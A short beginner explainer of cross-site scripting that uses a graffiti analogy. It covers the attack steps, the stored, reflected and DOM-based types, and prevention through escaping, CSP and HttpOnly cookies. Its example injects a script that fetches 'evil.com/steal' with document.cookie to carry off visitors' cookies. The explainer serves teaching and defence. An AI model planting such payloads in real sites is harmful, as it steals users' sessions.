🎨 XSS Explained Like You're 5

Injecting malicious scripts into websites

Day 88 of 149

👉 Full deep-dive with code examples

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The Graffiti Analogy

Imagine someone spray-painting a message on a public bulletin board.

Many people who read the board see the message as if it were official.

XSS is digital graffiti on websites!

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How XSS Works

1. Attacker finds input that displays on page (comments)
2. Instead of normal comment, they submit:
   <script>steal(document.cookie)</script>
3. Website displays it without checking
4. Victim visits page → their browser runs attacker's code!
5. Code steals cookies, redirects, etc.

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Real Example

<!-- Vulnerable comment section -->
<div class="comment">Nice post!</div>
<div class="comment">
  <script>
    fetch("https://evil.com/steal?cookie=" + document.cookie);
  </script>
</div>

When you view this page, YOUR cookies get stolen!

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Types of XSS

Type	Where Code Lives
Stored	In database (persists)
Reflected	In URL (one-time)
DOM-based	In JavaScript (client-side)

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Prevention

// Avoid inserting user input directly!
// Escape special characters:
"<script>" → "&lt;script&gt;"

Also use: Content Security Policy, HttpOnly cookies

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In One Sentence

XSS attacks inject malicious JavaScript into websites that runs in other users' browsers.

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